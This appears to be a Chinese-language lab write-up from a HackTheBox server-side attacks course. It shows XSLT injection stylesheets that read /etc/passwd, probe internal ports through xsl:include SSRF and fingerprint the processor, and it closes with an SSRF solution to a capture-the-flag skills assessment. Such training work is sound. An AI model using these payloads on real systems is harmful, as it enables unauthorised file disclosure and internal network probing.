<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

基于预处理器,我们可以查看此版本的JavaScript文档,以确定感兴趣的函数,例如以下函数。

  • unparsed-text可以用来读取本地文件。

readfile.xsl

Code:

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>

通过终端进行转换

mikannse7@htb[/htb]$ saxonb-xslt -xsl:readfile.xsl catalogue.xml

Warning: at xsl:stylesheet on line 1 column 111 of readfile.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
<SNIP>
  • xsl:include可用于执行SSRF

如果我们能够控制转化,我们也可以发动SSRF攻击。

ssrf.xsl

Code: 验证码: xmlXML

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:5000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

通过终端进行转换

mikannse7@htb[/htb]$ saxonb-xslt -xsl:ssrf.xsl catalogue.xml

Warning: at xsl:stylesheet on line 1 column 111 of ssrf.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
Error at xsl:include on line 2 column 49 of ssrf.xsl:
XTSE0165: java.io.FileNotFoundException: http://127.0.0.1:5000/xslt
Failed to compile stylesheet. 1 error detected.
mikannse7@htb[/htb]$ saxonb-xslt -xsl:ssrf.xsl catalogue.xml

Warning: at xsl:stylesheet on line 1 column 111 of ssrf.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
Error at xsl:include on line 2 column 49 of ssrf.xsl:
XTSE0165: java.net.ConnectException: Connection refused (Connection refused)
Failed to compile stylesheet. 1 error detected.

检查上面当我们打开或关闭端口时的不同响应。如果你想在Pwnbox或本地机器上尝试这个,尝试执行上面的saxonb-xslt命令一次,在端口5000上没有监听,一次在端口5000上有一个HTTP服务器监听(在单独的选项卡或终端中的sudo python3 -m http.server 5000)。

我们在本节的开头介绍了一些技术堆栈标识XSL文件。下面是一个,比以前的大。试着用它来重现上面的例子。

fingerprinting.xsl

Code:

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

通过终端进行转换

mikannse7@htb[/htb]$ saxonb-xslt -xsl:fingerprinting.xsl catalogue.xml

Warning: at xsl:stylesheet on line 2 column 80 of fingerprinting.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>
Version: 2.0<br/>
Vendor: SAXON 9.1.0.8 from Saxonica<br/>
Vendor URL: http://www.saxonica.com/<br/>
Product Name: SAXON<br/>
Product Version: 9.1.0.8<br/>
Is Schema Aware ?: no<br/>
Supports Serialization: <br/>
Supports Backwards Compatibility: <br/>

我们也可以使用下面的wordlist来实现目标应用程序中的暴力破解功能。

Server-Side Attacks - Skills Assessment

查看jquery.js文件,

function dec(str) {
var w = atob(str);
return w.split("").reverse().join("");
}
function getmessage() {
var x = "Ly86cHR0aA==";
var y = "dHNvaC5ub2l0YWNvbC53b2RuaXc=";
var z = "dHh0LmVnYXNzZW0vMDgwODoxLjAuMC43MjEvLzpwdHRoPXQzM2w/M000M2wxRnQ0aFR0M0cv";
var woot = dec(x) + eval(dec(y)) + dec(z);
fetch(woot)
.then(response => response.text())
.then(data => {
return confirm(data);
});
}

把xyzbase64解码之后,再反向,得到:

/G3tTh4tF1l34M3?l33t=http://127.0.0.1:8080/message.txtwindow.location.hosthttp://

直接访问/G3tTh4tF1l34M3?l33t=http://127.0.0.1:8080/flag.txt

一开始以为考点肯定是SSTI,结果竟然一个SSRF秒了,阿哲